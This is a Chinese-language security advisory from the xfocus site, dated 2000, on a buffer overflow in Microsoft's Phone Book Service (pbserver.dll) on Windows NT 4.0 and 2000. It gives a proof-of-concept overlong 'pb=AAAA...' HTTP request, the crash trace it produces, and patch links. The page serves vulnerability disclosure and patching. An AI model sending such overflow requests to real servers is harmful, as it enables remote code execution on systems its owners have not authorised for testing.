xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Microsoft PhoneBook Server 缓冲溢出漏洞


发布时间:2000-12-11
更新时间:2000-12-11
严重程度:
威胁程度:远程管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Microsoft Windows NT 4.0
Microsoft Windows NT 2000
详细描述
Phone Book Service在NT4和W2K中是可选组件不是默认安装,其中在URL处理中存在一个缓冲
溢出,如果利用成功,可以使攻击者执行任意代码并获得远程SEHLL。

可以使用下面的请求调用服务:
http://hostname/pbserver/pbserver.dll?osarch=&ostype=&osver=&cmver=&lcid=&pb
ver=&pb=<STRING=db name>
在DLL检查长度时候不许超过1024字节,但是可以通过发送下面的形式来获得一个
本地变量固定长度的缓冲溢出:

GET /pbserver/pbserver.dll?&&&&&&pb=AAAAAA... (less than 980 chars)
HTTP/1.0\n\n

并出现下面的报告:

The HTTP server encountered an unhandled exception while processing the
ISAPI Application '
+ 0x41414143
+ 0x41414139
pbserver!HttpExtensionProc + 0x1C
wam!DllGetClassObject + 0x808
RPCRT4!NdrServerInitialize + 0x4DB
RPCRT4!NdrStubCall2 + 0x586
RPCRT4!CStdStubBuffer_Invoke + 0xC1
ole32!StgGetIFillLockBytesOnFile + 0x116EC
ole32!StgGetIFillLockBytesOnFile + 0x12415
ole32!DcomChannelSetHResult + 0xDF0
ole32!DcomChannelSetHResult + 0xD35
ole32!StgGetIFillLockBytesOnFile + 0x122AD
ole32!StgGetIFillLockBytesOnFile + 0x1210A
ole32!StgGetIFillLockBytesOnFile + 0x11E22
RPCRT4!NdrServerInitialize + 0x745
RPCRT4!NdrServerInitialize + 0x652
RPCRT4!NdrServerInitialize + 0x578
RPCRT4!RpcSmDestroyClientContext + 0x9E
RPCRT4!NdrConformantArrayFree + 0x8A5
RPCRT4!NdrConformantArrayFree + 0x3FC
RPCRT4!RpcBindingSetOption + 0x395
RPCRT4!RpcBindingSetOption + 0x18E
RPCRT4!RpcBindingSetOption + 0x4F8
KERNEL32!CreateFileA + 0x11B

测试代码
通过发送特殊的HTTP请求可以绕过长度检查并利用本地变量获得溢出而导致
任意代码以GUEST身份执行。

解决方案
下载补丁程序:

Microsoft Windows NT 4.0:

Microsoft patch Microsoft Patch 26193
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=26193

Microsoft Windows NT 2000:

Microsoft patch Microsoft Patch 25531
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25531

相关信息